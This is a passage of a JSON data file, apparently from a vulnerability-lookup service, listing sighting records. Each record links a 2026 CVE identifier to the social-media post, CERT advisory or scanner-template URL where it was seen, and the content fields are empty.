"https://bsky.app/profile/hapenez.bsky.social/post/3mhjhr5maiq2z", "content": "", "creation_timestamp": "2026-03-20T21:33:07.211267Z"}, {"uuid": "07aff4d4-bf39-4ca5-b0b4-ed01797b9e4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31836", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhjioyqvoo2u", "content": "", "creation_timestamp": "2026-03-20T21:49:48.176035Z"}, {"uuid": "fb42ef27-2695-410e-a93a-9553b3e1a458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31862", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhnobc6i462m", "content": "", "creation_timestamp": "2026-03-22T13:40:09.747381Z"}, {"uuid": "c5b7fe48-9f61-47fa-95a8-ec90f7621332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31893", "type": "seen", "source": "https://infosec.exchange/users/raptor/statuses/116318340503071355", "content": "", "creation_timestamp": "2026-03-30T13:23:42.454280Z"}, {"uuid": "5f9f9fb2-9ca3-4bd5-9a43-1cc32f4e3eea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31841", "type": "seen", "source": "https://gist.github.com/alon710/81922f2048444626dde8917d1920b821", "content": "", "creation_timestamp": "2026-03-12T19:10:05.000000Z"}, {"uuid": "5d62bf41-557b-4262-8ab8-5d6290b06618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31817", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgv4m2q63m2q", "content": "", "creation_timestamp": "2026-03-12T19:20:10.178753Z"}, {"uuid": "183dcaa7-6dee-4f9c-967c-2991714cff95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31893", "type": "seen", "source": "https://bsky.app/profile/raptor.infosec.exchange.ap.brid.gy/post/3mibr3ebgghd2", "content": "", "creation_timestamp": "2026-03-30T13:23:52.386284Z"}, {"uuid": "ea1c3be9-04a1-422a-a408-0618ae220594", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31860", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgv4sw67ns2u", "content": "", "creation_timestamp": "2026-03-12T19:24:00.116081Z"}, {"uuid": "195b0fd3-41ec-42cf-ad21-ba3ca6bd367a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3119", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/isc-bind-security-advisory-av26-280", "content": "", "creation_timestamp": "2026-03-25T18:23:28.000000Z"}, {"uuid": "560521a0-1d7d-4cd2-b17c-79c84edc7c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31841", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgv4vqtgbp2n", "content": "", "creation_timestamp": "2026-03-12T19:25:35.062959Z"}, {"uuid": "d1497887-2480-4010-9207-871a5085ae0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/isc-bind-security-advisory-av26-280", "content": "", "creation_timestamp": "2026-03-25T18:23:28.000000Z"}, {"uuid": "963f719b-8baa-432a-bbb2-66577e93dd28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31847", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116278650800122530", "content": "", "creation_timestamp": "2026-03-23T13:10:05.470054Z"}, {"uuid": "738eb0c2-4ec3-4f0b-b09b-a2dbd6847e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31841", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mgv5fqvt2r2s", "content": "", "creation_timestamp": "2026-03-12T19:34:32.698690Z"}, {"uuid": "1fe9f14f-6fc0-430e-8a32-f59078297a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31848", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhqccu4f5n2n", "content": "", "creation_timestamp": "2026-03-23T14:44:16.373962Z"}, {"uuid": "d4f56e49-0d7b-4314-8946-e0a44f2e1938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31873", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgv5ub6kvb2n", "content": "", "creation_timestamp": "2026-03-12T19:42:47.937709Z"}, {"uuid": "d8a07852-6dc1-4907-866b-4cae20645e23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31847", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhqcti4f3m2u", "content": "", "creation_timestamp": "2026-03-23T14:53:34.234984Z"}, {"uuid": "07494654-443c-4517-94d7-7fbeaa8a9e4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3mhw3pggrhk2u", "content": "", "creation_timestamp": "2026-03-25T22:02:06.293363Z"}, {"uuid": "918414bf-092e-4ebe-b74d-2866e68f0a8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31945", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3micunhgeoh2v", "content": "", "creation_timestamp": "2026-03-31T00:00:15.109250Z"}, {"uuid": "9f97f1f4-6394-4f87-9ccf-2995a13dc0f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31890", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgv67mbie52e", "content": "", "creation_timestamp": "2026-03-12T19:48:59.518522Z"}, {"uuid": "c6cd3e55-7d3e-4999-9b3d-083cd576361e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3119", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3mhw3pggrhk2u", "content": "", "creation_timestamp": "2026-03-25T22:02:06.361519Z"}, {"uuid": "de4968ec-4d39-4772-93c0-20492fb1a8bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31989", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhhjl5xpci23", "content": "", "creation_timestamp": "2026-03-20T03:00:13.966067Z"}, {"uuid": "44d9fb75-e452-40f3-810b-5175e3c4c739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31943", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3micp2hax322r", "content": "", "creation_timestamp": "2026-03-30T22:20:08.510696Z"}, {"uuid": "48f502a9-7942-437a-80e4-6026dd19b862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31938", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhq6xrrn2s22", "content": "", "creation_timestamp": "2026-03-23T13:44:25.364736Z"}, {"uuid": "01455c3d-5925-43ee-acf3-9bfa3be4e36a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31898", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhq6xrrn2s22", "content": "", "creation_timestamp": "2026-03-23T13:44:25.472207Z"}, {"uuid": "9d5e0a3a-5b71-4e4f-b4ff-fbd89d7515f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mi6prjzc7s2g", "content": "", "creation_timestamp": "2026-03-29T08:22:26.091562Z"}, {"uuid": "729f6158-b217-4870-8983-7364a6905487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31946", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3micnznfvfo25", "content": "", "creation_timestamp": "2026-03-30T22:01:48.336156Z"}, {"uuid": "37a5de17-3091-43de-b212-da1e5866d45f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3106", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midyuykuoa24", "content": "", "creation_timestamp": "2026-03-31T10:48:42.637429Z"}, {"uuid": "be3d8153-18e6-4487-9aed-25f652885457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3107", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midz5wz3gk2i", "content": "", "creation_timestamp": "2026-03-31T10:53:42.674849Z"}, {"uuid": "0a5eca1f-7350-416d-badf-9356be16e7a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3139", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miec4236ft2d", "content": "", "creation_timestamp": "2026-03-31T13:33:42.425371Z"}, {"uuid": "4fd12ae7-f11e-4645-bbb9-b0ffcdd0229e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-isc-bind-9-dns-vulnerabilities-patch-immediately", "content": "", "creation_timestamp": "2026-04-01T08:11:06.000000Z"}, {"uuid": "07dd9399-0126-4e20-beb0-a1c42a1ddc9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3139", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mihdxqcpqd2e", "content": "", "creation_timestamp": "2026-04-01T18:45:04.999203Z"}, {"uuid": "0361b003-a3f3-4b3a-bf98-6ae2aad71052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31807", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-31807.yaml", "content": "", "creation_timestamp": "2026-04-02T00:53:37.000000Z"}, {"uuid": "531350c1-8a9e-479a-baf3-9e5dad3b45dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31027", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miinwycsxq2p", "content": "", "creation_timestamp": "2026-04-02T07:16:17.196371Z"}, {"uuid": "b2559d1a-83db-4688-8d07-00405ce4bc43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31946", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mijrwihfmt2i", "content": "", "creation_timestamp": "2026-04-02T18:00:14.697321Z"}, {"uuid": "eb90adb7-9e8f-419f-a275-7e2c1c2f47d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31807", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mik45hdgyd2q", "content": "", "creation_timestamp": "2026-04-02T21:03:08.046826Z"}, {"uuid": "e4257282-f480-4fbe-8344-523909cc8b57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31934", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3milhlx7gdg2t", "content": "", "creation_timestamp": "2026-04-03T10:00:43.479890Z"}, {"uuid": "8c4d5b30-6f3f-48eb-b3eb-de5284cbaeb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31935", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3milhvmgzdp25", "content": "", "creation_timestamp": "2026-04-03T10:06:08.546830Z"}, {"uuid": "54235d5f-8bd1-49f5-84a8-6366a3c66f80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31399", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim3pp62gd2j", "content": "", "creation_timestamp": "2026-04-03T16:00:43.766597Z"}, {"uuid": "2b8750ae-a5c1-4d0f-af0d-f5a57a790857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31402", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim3sfcm7t2z", "content": "", "creation_timestamp": "2026-04-03T16:02:14.720955Z"}, {"uuid": "ffe66799-de09-4241-940e-3bf767cb39c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31401", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim3v7xn6d25", "content": "", "creation_timestamp": "2026-04-03T16:03:49.271555Z"}, {"uuid": "37bd3ced-17f9-491d-b97f-304bcfd50a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31404", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim43ex3js2i", "content": "", "creation_timestamp": "2026-04-03T16:07:15.936335Z"}, {"uuid": "1ee55289-64bf-4508-9252-bfff3ac0f67d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31403", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim46qlf6e2n", "content": "", "creation_timestamp": "2026-04-03T16:09:08.619267Z"}, {"uuid": "0fb38bfe-5276-4889-8fb6-fd25eb4799ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31398", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim4g6ct632t", "content": "", "creation_timestamp": "2026-04-03T16:13:18.150543Z"}, {"uuid": "dfa263da-6ef0-4180-97ad-00205a56c663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31818", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim4os2sdg24", "content": "", "creation_timestamp": "2026-04-03T16:18:07.236599Z"}, {"uuid": "756d3bad-03b0-4d76-bbf7-41c27e4f1ecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31400", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim4togtpk2j", "content": "", "creation_timestamp": "2026-04-03T16:20:51.131660Z"}, {"uuid": "5272d1e2-168c-402e-ac06-37e25b27da71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31396", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116341712832680005", "content": "", "creation_timestamp": "2026-04-03T16:27:35.744609Z"}, {"uuid": "0c22ac82-8968-4854-956e-3b77666274be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31401", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116341872109036576", "content": "", "creation_timestamp": "2026-04-03T17:08:06.081096Z"}, {"uuid": "f34f4fbe-566e-4a8d-b4e5-cd2336ee182d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3184", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mimjp22yf623", "content": "", "creation_timestamp": "2026-04-03T20:10:54.280646Z"}, {"uuid": "2722a4d3-c99c-4d12-bdec-80a3aabeb96e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31395", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116343095399596893", "content": "", "creation_timestamp": "2026-04-03T22:19:12.135602Z"}, {"uuid": "860599c6-7cf8-4052-85cb-e8b411172edd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31818", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3minllvnw4j2r", "content": "", "creation_timestamp": "2026-04-04T06:17:36.660529Z"}, {"uuid": "ee972238-dc91-4535-b97f-cf48e8a852e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31818", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3minlm6gaej2d", "content": "", "creation_timestamp": "2026-04-04T06:17:45.626052Z"}, {"uuid": "a1e170e2-6e42-41ac-9c19-f407067b951c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31818", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3minny7n4is2t", "content": "", "creation_timestamp": "2026-04-04T07:00:17.447022Z"}, {"uuid": "1d79cde2-c21d-4f9b-b7be-b8918a98c56f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31937", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3minscwctmz2x", "content": "", "creation_timestamp": "2026-04-04T08:17:51.170785Z"}, {"uuid": "ea7b239f-e49d-4902-9f01-fdb1505db7f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31931", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3minuoohmcm2c", "content": "", "creation_timestamp": "2026-04-04T09:00:13.533718Z"}, {"uuid": "9974014c-b1b6-4fe1-a249-b1376597a8ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31932", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mipr4hndl72c", "content": "", "creation_timestamp": "2026-04-05T03:01:40.340712Z"}, {"uuid": "993dfd52-516a-4ed4-b934-9b6644fa940e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31933", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miptl5n5jb25", "content": "", "creation_timestamp": "2026-04-05T03:45:41.036637Z"}, {"uuid": "d6aeb9dd-555f-479c-8fdc-f066bd89adc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31408", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116356802665376324", "content": "", "creation_timestamp": "2026-04-06T08:25:08.275686Z"}, {"uuid": "69fac855-ca25-46ea-a6a5-cd6bae5e99a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31408", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3misz2ohvew2d", "content": "", "creation_timestamp": "2026-04-06T10:01:49.125119Z"}, {"uuid": "50025378-6682-4dd0-86c5-0b6677f14c4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31409", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3misz5o6hu425", "content": "", "creation_timestamp": "2026-04-06T10:03:29.369195Z"}, {"uuid": "d5c78f33-6708-47ed-add9-bded05e05707", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31406", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miszatikzt2t", "content": "", "creation_timestamp": "2026-04-06T10:05:15.977540Z"}, {"uuid": "e4621608-204c-482c-8f1d-4af9e701c57f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31410", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3misze75pzi2g", "content": "", "creation_timestamp": "2026-04-06T10:07:08.834316Z"}, {"uuid": "77fad63d-acb9-432f-b50f-2ce0b4063ffc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31405", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miszprfg352j", "content": "", "creation_timestamp": "2026-04-06T10:13:37.080766Z"}, {"uuid": "ef695362-cc4c-4300-a48e-570fa9d9ddf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31407", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miszuar4ni2g", "content": "", "creation_timestamp": "2026-04-06T10:16:07.197343Z"}, {"uuid": "13c5ddbf-c7fd-421d-971b-687bccfbc168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31063", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116358713535158087", "content": "", "creation_timestamp": "2026-04-06T16:31:06.136030Z"}, {"uuid": "d52a007f-5737-4041-83c7-872f5c5fabed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31066", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116358768533650350", "content": "", "creation_timestamp": "2026-04-06T16:45:05.066913Z"}, {"uuid": "660a8ec2-902f-4924-9886-b5819c9ebd94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31952", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkbqclg6wn2s", "content": "", "creation_timestamp": "2026-04-25T00:00:36.458990Z"}, {"uuid": "75c8f0ff-6ebd-4112-a1ef-98c6f340c5de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3184", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mivcqr6hze42", "content": "", "creation_timestamp": "2026-04-07T08:01:11.580900Z"}, {"uuid": "143d40bf-66f1-4286-bc7e-c3bba0be0898", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3177", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mivlonqsni2s", "content": "", "creation_timestamp": "2026-04-07T10:40:26.465820Z"}, {"uuid": "e19ad62c-1df1-4f51-bd82-02457ca93b62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31842", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mivr5irynv2p", "content": "", "creation_timestamp": "2026-04-07T12:18:25.427435Z"}, {"uuid": "59024dd1-5d90-4956-994f-897d3a602498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31842", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mivr5s6skm2s", "content": "", "creation_timestamp": "2026-04-07T12:18:31.635077Z"}, {"uuid": "43a382fc-abe7-4868-8075-88b1c1c99e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3miwwr7vxwk2o", "content": "", "creation_timestamp": "2026-04-07T23:31:26.812581Z"}, {"uuid": "2326559c-c315-4927-8023-b796c50a4bb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31789", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3miwwr7vxwk2o", "content": "", "creation_timestamp": "2026-04-07T23:31:27.337464Z"}, {"uuid": "16e1bb35-6c8a-4546-b7c8-719cdfb4c7f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31920", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mix22atrfi2t", "content": "", "creation_timestamp": "2026-04-08T00:30:09.078882Z"}, {"uuid": "fb3d900c-14d1-4fdb-aa40-af0484a47499", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31921", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mix5fjzw2h2j", "content": "", "creation_timestamp": "2026-04-08T01:30:07.469517Z"}, {"uuid": 